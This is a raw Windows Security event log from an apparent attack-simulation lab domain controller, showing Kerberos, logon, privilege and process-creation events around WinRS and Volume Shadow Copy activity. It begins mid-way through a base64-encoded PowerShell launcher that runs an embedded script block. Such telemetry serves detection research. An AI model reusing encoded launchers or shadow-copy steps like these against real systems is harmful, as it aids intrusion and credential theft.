QBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252820 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x178FF4 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252819 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x178FF4 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {32764149-6E35-1478-BBEF-FFC76C714C9B} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252818 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {32764149-6E35-1478-BBEF-FFC76C714C9B} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=252817 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {32764149-6E35-1478-BBEF-FFC76C714C9B} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=252816 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=252815 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0x2e0 - Process Name: C:\Windows\System32\VSSVC.exe -03/11/2021 11:50:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=252814 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x2e0 - Process Name: C:\Windows\System32\VSSVC.exe -03/11/2021 11:50:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=252813 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0x2e0 - Process Name: C:\Windows\System32\VSSVC.exe -03/11/2021 11:50:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=252812 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x2e0 - Process Name: C:\Windows\System32\VSSVC.exe -03/11/2021 11:50:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252811 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x178A74 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x49c - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x984 - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252810 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x178A74 - -Process Information: - New Process ID: 0x984 - New Process Name: C:\Windows\System32\winrshost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1e0 - Creator Process Name: C:\Windows\System32\svchost.exe - Process Command Line: C:\Windows\system32\WinrsHost.exe -Embedding - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252809 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x178A74 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252808 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x178A74 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {32764149-6E35-1478-BBEF-FFC76C714C9B} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252807 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {32764149-6E35-1478-BBEF-FFC76C714C9B} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=252806 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {32764149-6E35-1478-BBEF-FFC76C714C9B} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=252805 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=252804 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0x2e0 - Process Name: C:\Windows\System32\VSSVC.exe -03/11/2021 11:50:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=252803 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x2e0 - Process Name: C:\Windows\System32\VSSVC.exe -03/11/2021 11:50:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252802 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xfcc - New Process Name: C:\Windows\System32\svchost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x35c - Creator Process Name: C:\Windows\System32\services.exe - Process Command Line: C:\Windows\System32\svchost.exe -k swprv - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252801 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - -Privileges: SeAssignPrimaryTokenPrivilege - SeTcbPrivilege - SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeAuditPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252800 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Logon Information: - Logon Type: 5 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x35c - Process Name: C:\Windows\System32\services.exe - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=252799 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0x2e0 - Process Name: C:\Windows\System32\VSSVC.exe -03/11/2021 11:50:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=252798 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x2e0 - Process Name: C:\Windows\System32\VSSVC.exe -03/11/2021 11:50:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252797 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x2e0 - New Process Name: C:\Windows\System32\VSSVC.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x35c - Creator Process Name: C:\Windows\System32\services.exe - Process Command Line: C:\Windows\system32\vssvc.exe - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252796 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - -Privileges: SeAssignPrimaryTokenPrivilege - SeTcbPrivilege - SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeAuditPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252795 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Logon Information: - Logon Type: 5 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x35c - Process Name: C:\Windows\System32\services.exe - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. 